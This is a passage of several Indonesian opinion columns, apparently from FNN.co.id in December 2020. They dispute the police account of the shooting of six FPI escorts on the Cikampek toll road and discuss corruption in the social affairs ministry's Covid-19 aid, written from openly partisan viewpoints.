Pilkada nanti. Sulit bagi Partai Gerindra dan PDIP untuk dapat menyelamatkan para calon kepala daerahnya yang akan berkompetisi dalam Pilkada. Itu merupakan sesuatu yang wajar sebab kasus korupsi Bansos ini, menambah luka dan derita rakyat. Secara keseluruhan dana yang dialokasikan pemerintah untuk program penanganan Covid19 sebesar Rp 677 triyun. Alokasi angggaran Covid 19 ini terus bertambah. Bahkan Menkeu Sri Mulyani sebagaimana diberitakan CNN Indonesia 19 Juni 2020, menyebutkan program penanganan Covid-19 dan pemulihan ekonomi nasional diperkirakan memakan biaya sebesar Rp 905,1 triliun. Dana sebesar itu harus bisa dipantau oleh lembaga hukum dan institusi audit yang independen dan kredibel. Hal itu dilakukan untuk mencegah kemungkinan terjadinya penyelewengan seperti yang dilakukan oleh Mensos dan oknum pejabat di Kemensos.Sekali lagi, pengawasan terhadapdana besar yang dialokasikanuntuk penanggulangan Covid 19, perlu dilakukan karena berpotensi untuk dikorupsi. Apalagi dengan adanya Peraturan Presiden Pengganti Undang-undang (Perppu) yang kemudian berubah jadi UU No2 Tahun 2020, tentang penanggulangan Covid 19, dana tersebut bisa menjadi ajang korupsi bersama yang dilakukan oknum pejabat pemerintah dan swasta. Betapa tidak, UU tersebut memberi kewenangan penuhkepada pihak pemerintah untuk menyusun anggaran dan bahkan memberi imunitas kepada para pejabat tertentu di bidang keuangan untuk tidak boleh digugat. Sebenarnya ini membuka peluang terjadinya korupsi. Alih-alih menyelamatkan rakyat dari pandemi Covid19, uang rakyat justru dikorupsi. Sebenarnya pada Maret 2020 lalu atau pada awal bencana Covid 19 merebak di Indonesia, Ketua KPK, Firli Bahuri, pernah mengingatkan ancaman pidana mati bagi pihak-pihak yang melakukan korupsi anggaran bencana yang dialokasikan untuk menangani virus corona atau covid-19. Dalam aturan, jelas disebut bahwa orang yang melakukan tindak pidana korupsi saat bencana, maka ancaman hukumannya pidana mati. Sekarang kita tunggu saja pelaksanaan pidana mati terhadap pihak-pihak yang terbukti telah mengkorupsi angggaran untuk penanganan Covid19. Jika itu terjadi, akan menjadi preseden baik bagi penegakan hukum di Tanah Air yang selama ini tajam ke bawah namun tumpul ke atas. Wallohu a'lam bhisawab. Penulis, wartawan senior FNN.co.id

Bukan Zamannya Lagi Apa Kata Polisi Ditelan Begitu Saja

by Asyari Usman Medan FNN - Selasa (08/12). Bisakah dipercaya penjelasan Kapolda Metro Jaya Irjen Fadil Imran tentang insiden penembakan yang menewaskan 6 Laskar FPI di jalan tol Cikampek KM-50? Inilah pertanyaan yang mungkin tidak diperhitungkan oleh Kapolda Metro. Polisi memberikan penjelasan yang 100% mencerminkan bahwa merekalah yang akan memonopoli kebenaran. Artinya, begitu mereka jelaskan tentang apa saja, akan ditelan bulat-bulan oleh publik sebagai kebenaran. Zaman itu sudah berlalu. Sudah usang cara-cara seperti itu. Dulu, para penguasa sipil atau penguasa keamanan bisa seenaknya mengatakan ini atau itu dan rakyat harus menerimanya sebagai kebenaran. Sekarang tidak bisa lagi begitu. Baik dari aspek psikologi sosial mau pun dari sisi teknologi informasi dan teknologi digital. Masyarakat sekarang sangat kritis. Sekaligus memiliki kemampuan analitis. Kebohongan bisa langsung terkuak. Itulah perubahan zaman yang didorong oleh perubahan nilai dan revolusi teknologi. Sangat mengherankan kalau Polisi tidak menyadari perubahan zaman itu. Di masa Harmoko menjadi menteri penerangan, semua orang dan media tidak bisa berbuat apa-apa. Yang dia ucapkan harus disiarkan penuh. Harus menjadi inti lembaran berita atau laporan. Wajib menjadi kebenaran meskipun seratus persen pembodohan dan pembohongan. Cara-cara itu sudah lama sirna. Rakyat telah berjuang keras agar kejujuran dan keadilan menjadi nilai utama dalam penyelenggaraan negara. Dalam insiden penembakan mati 6 laskar FPI pada 7 Desember 2020 oleh Polisi, penjelasan Kapolda Metro sangat diragukan kebenarannya. Banyak yang tak masuk akal sehat. Terkesan Pak Kapolda mau menang sendiri. Mau benar sendiri. Gaya begini tidak bisa lagi. Klarifikasi Polisi soal insiden 6 laskar FPI tewas itu tidak akan dipercaya oleh masyarakat. Kalau pun ada yang percaya, sudah bisa dipetakan siapa-siapa mereka. Karena itu, kita mengimbau agar Kepolisian mengutamakan kejujuran dan transparansi dalam insiden penembakan yang sangat ceroboh ini. Rekayasa bisa dengan mudah tercium. Akan terbongkar dengan sendirinya. Bukan zamannya lagi apa kata Polisi ditelan begitu saja oleh publik.[] (Penulis wartawan senior FNN.co.id)

Kematian 6 Orang Anggota FPI, Polisi Harus Bertanggungjawab

by Sugito Atmo Pawiro Jakarta FNN - Senin (07/12). Kepolisian RI jelas harus memikul tanggungjwab hukum terhadap peristiwa penembakan hingga menewaskan 6 (enam) orang anggota Laskar FPI yang mengawal Imam Besar FPI Habib Riziq Shihab (HRS) dalam perjalanannya bersama keluarga, di KM 50 Tol Cikampek, dinihari (Senin, 7 Desember 2020). Menyusul peristiwa kelabu ini, sebuah rekayasa cerita tiba-tiba dipertontonkan kepada publik oleh Kapolda Metro Jaya, Irjen Fadil Imran, bahwa seolah-olah polisi terpaksa membela diri dengan menembak keenam pengawal HRS yang menyerang lebih dahulu dengan tembakan senjata api. Alibi yang dibangun polisi itu menjadi sebuah ilusi. Pertama, untuk apa aparat kepolisian berada dalam iringan rombongan HRS dan keluarga yang sedang dalam perjalanan menuju suatu tempat di Karawang dan sekitarnya untuk menjalankan acara dakwah pada Senin Subuh itu. Bukankah tidak ada urgensi dan kepentingan aparat kepolisian untuk berada di antara iringan kendaraan HRS dan keluarga yang akan menjalankan ibadah Sholat Subuh berjamaah, dini hari tadi?. Jika begitu berarti tidak ada sesuatu yang kebetulan dalam peristiwa ini. Jelaslah betul ada aktivitas tertentu dalam bentuk semacam operasi khusus yang senyap dari aparat kepolisian untuk menguntit HRS, keluarga dan rombongannya. Sebuah agenda kegiatan dari aparatur negara yang mengingkari kebebasan asasi warga negara. Penembakan terhadap keenam anggota Laskar FPI yang mengawal HRS dan keluarga adalah puncak kekonyolan dalam operasi yang tidak memiliki manfaatnya bagi negara ini. Kedua, cara-cara yang dilakukan kepolisian ini bersifat terencana, sistematis dan berkesinambungan untuk mengikuti setiap gerak perjalanan dan aktivitas HRS sejak kepulangannya ke Indonesia awal bulan lalu. Tampaknya aparat kepolisian mendapatkan perintah khusus untuk mencari cela agar menimbulkan sebuah peristiwa yang dapat membuat surut kiprah HRS. Peristiwa tewasnya keenam pengawal HRS sebagai puncak dari kegiatan operasi kepolisian yang melampaui batas dan kepatutan hukum. Ketiga, adalah mustahil keenam pengawal HRS melakukan penyerangan lebih dahulu terhadap petugas kepolisian, oleh karena fokus kerja keenam anggota Laskar FPI adalah pengawalan kepada HRS dan keluarga, dan bukannya untuk menyerang orang lain. Selain itu tidak ada seorang pun anggota Laskar FPI yang mengawal HRS dan keluarga menggunakan senjata api. Perlu ditegaskan bahwa rombongan HRS dalam perjalanan di KM 50 Tol Cikampek tersebut tidak dapat melakukan identifikasi terhadap aparat kepolisian di antara rombongan di jalan tol Cikampek itu. Dalam dugaan semula, para penembak yang mencegat pengawal HRS adalah orang-orang yang tidak dikenal (OTK). Justru identitas penembak diketahui kemudian sebagai aparat kepolisian setelah mendengar klarifikasi dari Kapolda Metro Jaya. Pelanggaran HAM Berat Penguntitan dan penghadangan terhadap rombongan HRS dan keluarga yang hendak menjalankan aktivitas dakwah dan berbuntut penembakan hingga menewaskan para pengawal yang juga anggota Laskar FPI, untuk sementara, dapat disebut sebagai kejahatan terhadap kemanusiaan (crimes against humanity) oleh aparatur negara terhadap warga negara biasa. Suatu tindakan yang tidak patut dan tidak diperlukan dalam upaya pengamanan dan penciptaan ketertiban di masyarakat. Justru kejahatan terhadap kemanusiaan yang dilakukan aparat kepolisian ini merupakan bentuk pelanggaran Hak Asasi Manusia (HAM) terklasifikasi berat. Pihak kepolisian sejauh ini masih membangun sebuah alibi bahwa anggota FPI yang menyerang aparat kepolisian terlebih dahulu. Pernyataan luas ini menimbulkan kesan bahwa kepolisian yang menembak dan menewaskan keenam anak manusia itu hanyalah cara bela diri oleh aparat negara. Demikian dianggap tidak memiliki implikasi hukum apa pun. Seolah-olah hal keji tersebut dapat dibenarkan demi tegaknya hukum. Padahal pertanyaannya adalah: hukum manakah yang ingin ditegakkan ketika aparat kepolisian berpakaian preman untuk terus menguntit dan menghadang rombongan warga negara yang hendak menjalankan ritual agama dalam perjalanan di jalan bebas hambatan? Untuk membuka kebenaran dalam peristiwa kejahatan melawan kemanusiaan oleh aparat negara terhadap warga negara ini, maka urgensinya saat ini adalah membentuk semacam Tim Pencari Fakta (TPF) guna menemukan fakta sejelas-jelasnya (fact finding) ihwal siapa yang seharusnya bertanggungjawab di muka hukum atas peristiwa kelabu ini. Komisi Nasional Hak Asasi Manusia (Komnas HAM) dan Komisi Kepolisian Nasional (Kompolnas) harus membentuk TPF ini dari berbagai unsur anggota yang kredibel dan bebas dari anasir politik. Apabila nanti ditemukan fakta bahwa prosedur penembakan terhadap warga negara biasa yang mengawal HRS dalam kegiatan keagamaan itu adalah tidak patut dan menyalahi norma hukum, maka diperlukan Langkah penegakan hukum berdasarkan prinsip equality before the law. Siapa pun memiliki kesamaan di muka hukum, dan jika terang-benderang bersalah, maka harus dimintakan pertanggungjawabannya di muka hukum. Siapa pun berhak memperdebatkan kiprah HRS dan FPI dalam pro dan kontra. Akan tetapi tidak ada alasan hukum yang dapat membenarkan kesewenang-wenangan negara untuk membunuh warga negara mana pun. Untuk itu marilah kita ungkap kebenaran.*** Penulis adalah Ketua Bantuan Hukum FPI.

Buntut Penembakan Laskar FPI, Presiden Jokowi Didesak Copot Kapolri dan Kabaintelkam Polri

by Neta S. Pane Jakarta FNN - Senin (07/12). Presiden Jokowi harus segera mencopot Kapolri Jenderal Idham Azis dan Kabaintelkam Polri Komjen Rycko Amelza, sehubungan terjadinya kasus penembakan yang menewaskan enam anggota FPI di Tol Cikampek, Jawa Barat pada Senin 7 Des 2020 subuh. Selain itu, Indonesia Police Watch (IPW) mendesak agar segera dibentuk Tim Pencari Fakta Independen untuk mengungkapkan, apa yg terjadi sebenarnya. Sebab antara versi Polri dan versi FPI sangat jauh berbeda penjelasannya. Polri mengatakan, anggotanya ditembak Laskar Khusus FPI yang mengawal Rizieq. Apakah benar bahwa Laskar PFI itu membawa senjata dan menembak polisi? Agar kasus ini terang benderang anggota Polri yg terlibat perlu diamankan terlebihdahulu untuk dilakukan pemeriksaan. Sebab menurut Siaran Pers FPI, rombongan Rizieq lah yang lebih dulu dihadangan sekelompok orang yang berpakaian sipil, sehingga mereka menduga akan dirampok orang tak dikenal di jalan tol. Dalam kasus Cikampek ini muncul sejumlah pertanyaan. Pertama, jika benar FPI mempunyai laskar khusus yang bersenjata, kenapa Baintelkam tidak tahu dan tidak melakukan deteksi dan antisipasi dini serta tidak melakukan operasi persuasif untuk "melumpuhkannya". Kedua, apakah penghadangan terhadap rombongan Rizieq di KM 50 Tol Cikampek arah Karawang Timur itu sudah sesuai SOP, mengingat polisi penghadang mengenakan mobil dan pakaian preman. Ketiga, jika Polri menyebutkan bahwa anggotanya ditembak lebih dulu oleh Laskar Khusus FPI, berapa jumlah tembakan itu dan adakah bukti bukti, misalnya ada mobil polisi yang terkena tembakan atau proyektil peluru yg tertinggal. Keempat, dimana TKP tewas tertembaknya keenam anggota Laskar Khusus FPI itu karena menurut rilis FPI keenam anggotanya itu diculik bersama mobilnya di jalan tol. Kelima, bahwa keenam anggota FPI yang tewas ditembak itu bukanlah anggota teroris, sehingga polisi wajib melumpuhkannya terlebih dahulu karena polisi lebih terlatih dan polisi bukan algojo tapi pelindung masyarakat. Keenam, jalan tol adalah jalan bebas hambatan sehingga siapa pun yang melakukan penghadangan di jalan tol adalah sebuah pelanggaran hukum, kecuali sipengandara nyata nyata sudah melakukan tindak pidana. Ketujuh, penghadangan yang dilakukan oleh mobil sipil dan orang orang berpakaian preman, patut diduga sebagai pelaku kejahatan di jalan tol, mengingat banyak kasus perampokan yang terjadi di jalanan yang dilakukan orang tak dikenal. Jika polisi melakukan penghadangan seperti ini sama artinya polisi tsb tidak promoter. Dengan tewas tertembaknya keenam anggota FPI itu, yang paling bertanggungjawab dalam kasus ini adalah Kapolri Idham Azis. Tidak promoternya Idham Azis dalam mengantisipasi kasus Rizieq sudah terlihat sejak kedatangan pimpinan FPI itu di Bandara Soetta, yang tidak diantisipasi dengan profesional tapi terbiarkan hingga menimbulkan masalah. Penulis adalah Ketua Presidium Indonesia Police Watch

Penjelasan Polisi Soal Penembakan Laskar FPI Tidak Boleh Menjadi “Putusan Pengadilan”

by Asyari Usman Medan FNN - (Senin 07/12). Penjelasan pihak Polri, dalam hal ini Polda Metro Jaya (PMJ), mengenai insiden penembakan mati enam pengawal Habib Rizieq Syihab (HRS) dipenuhi banyak kejanggalan. Penjelasan itu tidak bisa dianggap sebagai kebenaran dan pembenaran atas penembakan yang menewaskan keenam pengawal tsb. Klarifikasi sepihak Polisi dalam insiden yang menyebabkan begitu banyak nyawa melayang, tidak boleh dijadikan “putusan pengadilan”. Seperti disarankan sejumlah pihak, ada baiknya segera dilakukan misi pencarian fakta independen yang melibatkan Komnas HAM, Kontras, YLBHI, dan pihak-pihak lain yang berkompeten. Jika disimak dengan cermat, banyak yang aneh di dalam rangkaian penjelasan Kepolisian yang disebarluaskan oleh media online. Mari kita telisik hal-hal yang janggal itu dalam klarifikasi yang disampaikan oleh Kapolda Metro Irjenpol Fadil Imran. PARAGRAF PERTAMA"Sekitar pukul 00.30 WIB di jalan Tol Jakarta-Cikampek KM 50 telah terjadi penyerangan terhadap anggota Polri yang sedang melaksanakan tugas penyelidikan terkait rencana pemeriksaan MRS yang dijadwalkan berlangsung hari ini jam 10.00 WIB," jelas Fadil yang didampingi Pangdam Jaya Mayjen TNI Dudung Abdurachman di Polda Metro Jaya, Jakarta, Senin (7/12/2020). Kejanggalan 1: Untuk apa Polisi melakukan penyelidikan di jalan tol tentang rencana pemeriksaan HRS. Kalau pun ada informasi intelijen mengenai massa pendukung HRS akan dikerahkan ke Polda, kenapa rombogan HRS yang sedang berjalan tengah malam itu yang diselidiki. Bukankah polisi seharusnya memburu pengorganisasian massa yang bakal datang ke Mapolda Metro? Kejanggalan 2: Ketika menyampaikan klarifikasi, untuk apa Kapolda Metro harus didampingi oleh Pangdam Jaya Mayjen Dudung Abdurachman? Apa urgensinya? Bukankah insiden itu 100% urusan kepolisian? Polisi bukan sedang mengejar teroris atau anggota separatis. Satu-satunya jawaban untuk kejanggalan ini adalah bahwa Kapolda Fadil Imran merasa perlu “ditemani” oleh seseorang yang dia anggap berposisi kuat dan sekaligus pernah berselisih dengan HRS. Kehadiran Pangdam Jaya sangat politis sifatnya. PARAGRAF KETIGA“Terkait hal tersebut, kami kemudian melakukan penyelidikan kebenaran informasi tersebut. Dan ketika anggota PMJ mengikuti kendaraan yang diduga adalah pengikut MRS, kendaraan petugas dipepet, lalu kemudian diserang dengan menggunakan senjata api dan senjata tajam sebagaimana yang rekan-rekan lihat di depan ini.” Kejanggalan: Laskar FPI dikatakan punya senjata api. Ini tentu menjadi tanda tanya besar. Hampir tidak mungkin mereka memiliki senjata api secara legal. Kalau begitu, FPI memiliki senjata api secara legal? Malah semakin runyam. Masuk akalkah Polisi tak mengetahui senjata ilegal di tangan FPI? Mungkinkah Intelijen kepolisian kecolongan? Tidak bisa mendeteksi senjata ilegal di kalangan FPI? PARAGRAF KEDELAPAN“Selanjutnya kami, saya dan Pangdam Jaya, mengimbau kepada saudara MRS dan pengikutnya untuk tidak menghalang-halangi proses penyidikan. Karena tindakan tersebut adalah tindakan yang melanggar hukum dan dapat dipidana, dan apabila tindakan menghalang-halangi petugas membahayakan keselamatan jiwa petugas, kami, saya, bersama Pangdam Jaya tidak akan ragu untuk melakukan tindakan yang tegas.” Kejanggalan: Kapolda Irjen Fadil Imran kembali “membawa” Pangdam Jaya. Lagi-lagi untuk tujuan apa? Apakah sedang terjadi kerusuhan skala besar sehingga Polisi harus meminta bantuan TNI? Itulah antara lain berbagai kejanggalan di dalam klarifikasi Kapolda Metro. Sementara itu, pihak FPI mengatakan bahwa mereka dihadang dan diserang di jalan tol Cikampek KM-50 oleh orang tak dikenal (OTK) yang ternyata kemudian adalah aparat kepolisian seperti penjelasan Kapolda. Menurut FPI, jangankan membawa senjata api, pentungan saja pun tidak ada mereka bawa. Lembaga pemantau kepolisian, Indonesia Police Watch (IPW), juga meminta agar dilakukan penyelidikan independen untuk menemukan fakta-fakta dalam insiden penambakan mati enam lascar FPI itu. IPW juga menyebutkan banyak kejanggalan dalam peristiwa ini. IPW meminta Presiden Jokowi agar mencopot Kapolri Idham Aziz dan Kabaintelkam Komjen Rycko Amelza. IPW pun ingin mengetahui apakah benar anggota FPI membawa senjata api di dalam insiden ini sebagaimana dijelaskan Kapolda Metro. Ketua Presidium IPW Neta S Pane mempersoalkan penghadang kepolisian yang mengunakan pakaian preman dan mobil tanpa atribut Polri. Ada tujuh aspek yang dipertanyakan oleh Pane. Termasuk penghadangan beratribut sipil yang dilakukan oleh petugas kepolisian di jalan tol. Dia mengatakan, siapa yang melakukan penghadangan dengan tampilan sipil do jalan tol berarti melakukan pelanggaran hukum. Mengingat penembakan keenam laskar FPI itu berpotensi menjadi pelangaran HAM berat, publik menuntut agar Komnas HAM secepatnya turun tangan.[] (Penulis wartawan senior FNN.co.id)

Bentuk Komisi Pencari Fakta Independen

by M Rizal Fadillah Bandung FNN – Senin (07/12). Penjelasan pihak Kepolisian Metro Jaya bahwa tewasnya 6 anggota Laskar Frot Pembela Islam (FPI) yang menjadi pengawal rombongan keluarga Habib Rizieq Shihab (HRS) menyerang aparat kepolisian berbeda dengan penjelasan resmi dari DPP FPI. Sekretaris jendral (Sekjen) DPP FPI Munarman menyatakan bahwa mobil pengawal HRS lah yang duluan diserang dan ditembakin oleh Orang Tak Kenal (OTK). Enam orang anggota Laskar FPI bersama mobil yang mereka tumpangi bahkan hilang. Karena mereka diculik. Setelah adanya penjelasan dari FPI, lalu ada konferensi pers dari Polda Metro Jaya yang menyatakan bahwa keenam orang pengawal HRS tersebut ternyata tewas. Mereka ditindak dengan tegas dan terukur olah aparat kepolisian. Begitu kata Kapolda Metro Jaya, Irjen Polisi Fadil Imron. Mengingat kaburnya peristiwa di atas, wajar saja muncul desakan harus segera dibentuk Komisi Pencari Fakta Independen (KPFI). Karena ini menyangkut nyawa anak bangsas enam orang yang mesti mendapat pertanggungjawaban politik maupun hukum. Bukan semata pertanggungjawaban aparat, tetapi juga Pemerintah. Penjelasan yang sepihak harus memperoleh pembuktian. Pengintaian terhadap gerak-gerik HRS yang intensif juga menunjukkan bahwa apara penegak hukum telah menempatkan HRS sebagai musuh negara. Tentu hal ini sangat tidak proporsional, mengingat persoalan yang dituduhkan hanya masalah kerumunan saat pernikahan puteri HRS di Petamburan. Kualifikasinya hanya sebatas pelanggaran terhadap protokol kesehatan. Haruskah aparat kepolisian bertindak hingga penembakan yang menewaskan nyawa anak bangsa enam orang? Mengapa bukan penembakan untuk melumpuhkan? Bahwa HRS tidak hadir saat pemanggilan Polisi itu memiliki prosedur hukum yang dapat dilaluinya. Dimulai dari pemanggilan bertahap hingga panggilan paksa. Tetapi jika sampai pada pengintaian, penyerangan, dan penembakan tentu hal ini adalah di luar prosedur baku yang berlaku. Apakah proses penegakan hukum protokol kesehatan harus dilakaukan dengan pengintaian? Untuk itu, hanya dengan komisi fact finding semua persoalan bisa terungkap. Benarkah polisi diserang atau polisi yang duluan menyerang? Ini sangat penting dan mendesak, agar Indonesia sebagai negara hukum tidak bergeser menjadi negara kekuasaan. Jangan hanya perlakukan kesewenang-wenangan yang ditampilkan kepada masyarakat. Bila situasi ini diambangkan, maka akan menjadi bom waktu bagi instabilitas negeri. Kita harus menghindari terjadinya penghancuran atas negara demokrasi. Penulis adalah Pemerhati Politik dan Kebangsaan.

Di Era Jokowi, Kebobrokan Negara Terbongkar

by Tony Rosyid Jakarta FNN – Senin (07/12). Menteri Sosial, Julian Batubara kena Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi ( KPK) pada 5 Desember 2020 lalu. Juliari jadi tersangka dengan tuduhan korupsi Rp 17 miliar. Sebelumnya, Menteri Kelautan dan Perikanan Edhy Prabowo juga di-OTT KPK (25/11). Nggak usah kaget. Biasa saja. Entar juga akan ada yang tertangkap lagi. Menteri, ketua dan sekjen partai, anggota DPR, kepala daerah, atau pejabat lainnya, entah sudah berapa banyak dari mereka yang ditangkap KPK. Tak berarti yang tidak tertangkap itu bersih dari korupsi. Belum tentu juga. Ini hanya karena faktor apes dan bernasib sial. Korupsi di Indonesia bukan semata-mata karena bobroknya moral individu. Tetapi lebih karena faktor sistem, kultur dan mentalitas bangsa. Publik nggak usah berlebihan mengapresiasi KPK. Seolah KPK sudah siuman setelah sekian lama dikerangkeng oleh UU No 19 Tahun 2019. Para pejabat secara umum ditangkap karena pertama, dua alat bukti sudah ada. Kedua, tak ada perlindungan orang kuat. Tepatnya, kecolongan, sehingga tak sempat minta perlindungan. Ketiga, seringkali penangkapan pejabat sarat unsur politik. Meskipun dua alat bukti ada, tetapi pelindung anda orang kuat dan selalu menjaga anda, boleh jadi anda selamat. Asal tidak di-OTT. Belajar dari kasus Bank Century, dana BLBI, e-KTP sampai PAW anggota DPR yang melibatkan Harun Masiku. Kok menguap? Publik berpikir ada orang kuat di belakangnya. Koruptor kakap Djoko Djandra yang sembilan tahun jadi buronan dan menyeret sejumlah perwira berpangkat bintang hanya dituntut 2 tahun. Sementara yang dituduh melanggar UU ITE diancam 6 tahun. Sampai disini anda mesti paham bagaimana penegakan hukum di negeri ini. Banyak yang ganjil. Korupsi pejabat akan "sulit dikurangi" selama penegakan hukum dan sistem politik tidak berubah. Ini jadi kata kunci. Ketidakadilan hukum jadi warisan dari satu generasi ke generasi lain secara turun temurun. Dari Orde Lama, Orde Baru hingga Orde Reformasi. Hanya saja, sekarang klimaks. Sepertinya, para pejabat sudah banyak belajar kepada generasi sebelunnya bagaimana melakukan korupsi secara efektif. Lihai! Meski kadang ada yang kepleset dan ditangkap KPK. Apes saja. Praktek penegakan hukum semakin rusak ketika aparat hukum ditarik di gelanggang politik. Tak jarang hukum justru dijadikan instrumen untuk menghabisi. Pertama, kepada mereka yang kritis terhadap penguasa. Kedua, lawan-lawan politik penguasa. Kriminalisasi adalah suatu keniscayaan ketika aparat hukum dilibatkan dalam politik. Di sisi lain, cost pemilu sangat besar. Para calon, baik caleg, capres maupun calon kepala daerah, mereka butuh modal besar. Umumnya, mereka tak mampu membiayai dengan dana pribadi. Dana cekak memaksa mereka harus melibatkan investor. Kalau umumnya anggota DPR tak mendengar lagi suara rakyat, ya wajar. Karena saham mayoritasnya bukan milik rakyat, tapi milik para pengusaha yang membiayai mereka. Suara rakyat sudah "dibeli putus" saat pemilu. Tepatnya ketika terjadi serangan fajar. Antara Rp 50.000-100.000 ribu per suara. Selesai sudah di kotak suara. Rakyat suaranya sudah dibeli putus. Ya nggak pantas kalau berteriak. Karena sudah nggak punya saham di gedung DPR. Ini juga berlaku bagi banyak kepala daerah, dan mungkin juga presiden. Jadi, kalau mereka nggak dengar rakyat, ya nggak salah. Karena sebagian besar rakyat sudah dibeli suaranya saat pemilu. Hukum yang tidak tegak lurus serta cost politik yang sedemikian tinggi, menyebabkan korupsi makin subur. Tradisi koruptif diwariskan turun temurun. Jadi, anda jangan hanya melihat case by case. Anda jangan terpukau dengan KPK menangkap Edhy Prabowo dan Julian Batubara. Dibalik kedua menteri itu, justru seringkali faktor yang lebih menarik untuk dibahas adalah tokoh di belakangnya, partainya, posisi jabatannya, atau sepak terjang KPK itu sendiri. Hukum seringkali nggak independen. Jadi, fenomena penangkapan tersangka tindak pidana korupsi jangan dilihat dari kasusnya. Tetapi lihatlah penyebabnya. Mengapa banyak diantara mereka yang korupsi? Lihat juga penegakan hukumnya. Kenapa hanya mereka yang ditangkap? Yidak yang lain. Partai anda punya kader yang jadi menteri berapa orang? Yang jadi direktur dan komisaris BUMN berapa orang? Yang jadi kepala daerah berapa orang? Dari situ parpol-parpol itu mencari logistik. Sebagian untuk memakmurkan pengurusnya. Jadi, kalau dalam dua pekan ini ada kader dari dua partai di-OTT KPK, yang harus kita lihat pertama, jabatan menteri itu bukan cek kosong. Kedua, kebutuhan operasional partai sangat besar. Kalau menteri itu dari partai, mosok nggak ada setoran? Ketiga, posisi menteri banyak peminatnya. Posisi menteri ini menjadi arena perebutan antar partai dan antar banyak pihak. Keempat, di setiap kementerian biasanya sudah ada mafianya. Para pemain lama tentu saja sangat berpengalaman. Kelima, mata hukum seringkali "juling". Yang juling paling parah di sebelah kiri. Namu yang dihajar di sebelah kanan. Jika kita bongkar, negara ini sesungguhnya sudah sedemikian rusak. Ibarat penyakit kanker, sudah stadium empat. Korupsi "boleh jadi" ada di semua kementerian, di semua lembaga dan institusi negara, di semua BUMN. Terjadi secara sistemik. Salah satunya penyebabnya karena kesalahan sistem melahirkan tradisi dan mental koruptif. Jargon #Revolusi mental# bukannya memperbaiki, tetapi faktanya, malah masif terjadi korupsi. Ini terjadi bukan hanya di era Jokowi, tapi turun temurun. Sudah lama, terutama sejak era reformasi. Di era Jokowi ini, seolah jadi puncak gunung es. Makin parah. Lalu, darimana memperbaikinya? Perbaiki penegakan hukum dan sistem politik yang high cost itu. Dan ini harus dilakukan dari atas, yaitu oleh pemimpin. Kalau yang di atas memble, yang lain, terutama yang di bawah pasti ikut memble juga. Banyak pihak yang meragukan kemampuan Jokowi. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Penyaluran Bansos Yang Primitif

by Mukhaer Pakkanna Jakarta FNN - Senin (07/12). Kasus tertangkapnya Menteri Sosial (Mensos RI), Juliari Peter Batubara (JPB) bersama para pejabat Kemensos dan pengusaha pengadaan Bantuan Sosial (Bansos) telah mencoreng wibawa Pemerintah penyelenggaara negara. Dalam situasi wabah yang makin menakutkan ini, ternyata korupsi tidak pernah berhenti. Banyak oknum penyelenggara negara, malah bernyanyi bahagia di atas penderiaan rakyat. Dengan pola penyaluran yang primtif dan tidak berkemajuan, dari awal kebijakan ini dilansir, saya sudah mencurigai bakal terjadi peluang moral hazard dan biang bancakan antara pengusaha peserta/pemenang tender dan oknum penguasa, terutama di Kementerian Sosial RI. Ini sangat riskan terjadi karena, pertama, niatan hanya sekadar karitatif, yang penting tersalurkan. Soal siapa sasaran penerima, itu soal yang lain. Yang penting bagaimana peluang ini dimanfaatkan pengusaha pengadaan dan penguasa (pemerintah). Kedua, data sasaran dari awal yang tidak jelas dan amburadul. Ketiga, manajemen penyaluran disalurkan pada beberapa institusi yang kurang akuntabel. Bayangkan, di masa pandemi Covid-19 ini, Kemensos RI memperoleh anggaram jumbo. Merujuk data Kementeian Keuangan RI, Kemensos juga menjadi kementerian dengan realisasi belanja terbesar pada Oktober 2020. Kemensos telah menyerap anggaran senilai Rp116,2 triliun. Sementara, alokasi untuk Kemensos terdiri dari PKH dan bantuan beras PKH senilai Rp41,97 triliun, sembako dan bantuan tunai sembako Rp47,22 triliun, Bansos Jabodetabek Rp7,10 triliun, dan Bansos non-jabodetabek senilai Rp33,10 triliun. Dalam kaitan itu, patut dipertimbangkan bahwa ke depan penyaluran bantuan sosial untuk rakyat miskin dan yang termiskinkan akibat pandemi, sebaiknya disalurkan secara tunai ke rekening masing-masing penerima. Bisa memanfaatkan data dari institusi resmi yang kredibel, tidak sekadar menyalurkan. Alasannya, jika disalurkan dalam bentuk barang kebutuhan pokok seperti sekarang, maka selalu terjadi potensi korupsi seperti yang sudah terbukti saat ini. Akibat korupsi maka spesifikasi barang yang dibagikan akan berkurang. Misalnya beras premium tapi isinya oplosan. Ini berarti, hanya menguntungkan pengusaha bermodal besar dan produsen-produsen besar seperti Unilver, Indofood dll. Sementara, produk UMKM sangat sulit terserap karena alasan spesikasi dan ketidaan modal. Kemudian, Sembako yang dibagikan ke masyarakat belum tentu sesuai dengan kebutuhan selera penerima. Misalnya sarden, tidak semua orang suka makan sarden. Lebih enak beli ikan di pasar dan masak sendiri. Jika disalurkan melalui transfer tunai ke rekening masing-masing penerima, keuntungannga adalah, pertama, potensi korupsi oleh oknum penguasa, politisi dan para calo akan sirna. Kedua, akan menghidupkan pasar, karena masyarakat miskin akan belanja kebutuhan pokok secara langsung di pasar dan warung-warung rakyat. Ketiga, masyarakat penerima dapat membelanjakan sesuai kebutuhan Sembako di keluarga mereka. Tidak dipaksa makan produk pabrikan yang dimiliki pengusaha raksasa tertentu. Keempat akan ikut membantu perbankan, karena dana yang ditransfer ke rekening tentu akan ada jeda waktu sebelum diambil oleh penerima. Portofolio dan cashflow perbankan akan terbantu. Maka sebaiknya jangan hanya disalurkan melalui rekening di perbankan besar, lebih bagus malah melalui bank-bank kecil yang sedang butuh dibantu portofolionya. Misalnya bank-bank BPD di daerah, bank syariah Buku 1 dan Buku 2. Termasuk BPR/BPRS yang banyak di daerah-daerah Saran ini tentu tidak hanya berlaku untuk bantuan dari pemerintah pusat. Hal yang sama juga bagi pemerintah daerah propinsi maupun kabupaten/kota se-Indonesia. Karena potensi korupsi dan penyalahgunaan kekuasaan itu ada pada setiap level pemegang kuasa. Kekuasaan cenderung korup, tentu buatlah sistem yang meminimalisir potensi korup itu. Pandemi mestinya menyadarkan semua pihak untuk lebih mengingat Tuhan, termasuk bagi mereka yang sedang memegang tampuk kekuasaan di setiap level. Penulis adalah Sekretaris Majelis Ekonomi dan Kewirausahaan (MEK) PP Muhammadiyah

Hukum Mati Mensos, Logika Hukum Firli dan Mahfud MD

